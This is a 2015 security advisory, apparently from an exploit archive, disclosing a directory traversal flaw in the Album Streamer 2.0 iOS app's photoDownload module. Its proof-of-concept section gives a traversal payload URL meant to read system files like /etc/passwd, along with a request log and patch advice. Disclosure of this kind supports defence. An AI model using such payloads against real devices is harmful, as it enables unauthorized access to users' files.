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Album Streamer 2.0 Directory Traversal

Album Streamer 2.0 Directory Traversal
Posted May 7, 2015
Authored by Benjamin Kunz Mejri, Vulnerability Laboratory | Site vulnerability-lab.com

Album Streamer version 2.0 suffers from a directory traversal vulnerability.

tags | exploit
SHA-256 | 995d2525bb3241f1583292b68d3c8c8775795290d25f56847b605bfdbe66e42e

Album Streamer 2.0 Directory Traversal

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Document Title:
===============
Album Streamer v2.0 iOS - Directory Traversal Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1481


Release Date:
=============
2015-05-07


Vulnerability Laboratory ID (VL-ID):
====================================
1481


Common Vulnerability Scoring System:
====================================
6.6


Product & Service Introduction:
===============================
1 Tap - Quick, Album Streamer, best Photo/Video Transfer app ever! Quick way to share your Album Photos and
Videos to your computer. It takes only single tap to stream and download all/selected photos or videos.
You can even view or play slide show of all your photos directly on the computer without downloading.

(Copy of the Homepage: https://itunes.apple.com/DE/app/id835284235 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a directory traversal web vulnerability in the official Album Streamer v2.0 iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2015-05-07: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Spider Talk
Product: Album Streamer - iOS Mobile Web Application (Wifi) 2.0


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A Path Traveral web vulnerability has been discovered in the official Album Streamer v2.0 iOS mobile web-application.
The security vulnerability allows a remote attacker to unauthorized request system path variables to compromise the
mobile application or apple iOS device.

The vulnerability is located in the `id` request to the `path` value of the photoDownload module. The vulnerability can be exploited by
local or remote attackers without user interaction. The attacker needs to replace the picture assets id path request of the photoDownload
module with a malicious payload like ./etc/passwd ./etc/hosts. The attack vector is located on the application-side of the service and
the request method to execute is GET (client-side).

The security risk of the path traversal web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.6.
Exploitation of the directory traversal web vulnerability requires no privileged application user account or user interaction.
Successful exploitation of the vulnerability results in mobile application compromise

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] photoDownload

Vulnerable Parameter(s):
[+] id

Affected Module(s):
[+] photoDownload Item Index


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without privileged application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

PoC: http://localhost/photoDownload?id=[DIRECTORY TRAVERSAL]../../../../../../../etc


Vulnerable Source(s): localhost/photoDownload
<div class="thumbnailBorder"><div class="thumbnailPicture"><img class="showPreviewModalPopup" src="/photoTbDownload?id=id0" border="0" height="100px" width="100px"></div><div id="thumbnailTitle"><input id="id0" name="photoCheckbox" type="checkbox"> <a href="/photoDownload?id=id0">asset.JPG</a></div></div><div class="thumbnailBorder"><div class="thumbnailPicture"><img class="showPreviewModalPopup" src="/photoTbDownload?id=id1" border="0" height="100px" width="100px"></div><div id="thumbnailTitle"><input id="id1" name="photoCheckbox" type="checkbox"> <a href="/photoDownload?id=id1">asset.PNG</a></div></div>

<!-- PREVIEW SECTION -->
<div style="display: none;" id="overlay"></div>

<div style="display: none;" id="popupBox">
<div style="display: none;" id="popupContent">
<img class="previewLoadingImage" id="previewLoading" src="/loading.gif">

<img class="previewImage" src="/photoDownload?id=id1">

<img src="/imgAlbumStreamPrev.png" class="btnShowPrev" height="25px" width="25px">

<img src="/imgAlbumStreamNext.png" class="btnShowNext" height="25px" width="25px">

</div>
</div>

<!-- BREAK -->
<div class="sectionBreak"> </div>

<!-- VIDEOS SECTION -->
<div>
<h1>
<input class="videoAllCheckBox" id="videoAllCheckBox" type="checkbox"> Videos
<input class="btnVideoDownload" value="Download (Selected)" type="button">
</h1>
</div>

--- Poc Session Logs [GET] ---
Status: 200[OK]
GET http://localhost/photoDownload?id=../../../../etc Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[25568] Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[25568]
Content-Disposition[: attachment; filename=asset.JPG]
Date[Thu, 30 Apr 2015 13:29:14 GMT]



Reference(s):
http://localhost/
http://localhost/photoDownload


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse of the id value in the photoDownload module.
Restrict the input and disallow special chars to prevent further path traversal attacks.
implement a whitelist to request only authroized urls through the mobile app api.


Security Risk:
==============
The security risk of the directory traversal vulnerability in the wifi interface is estimated as high. (CVSS 6.6)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.

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Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™



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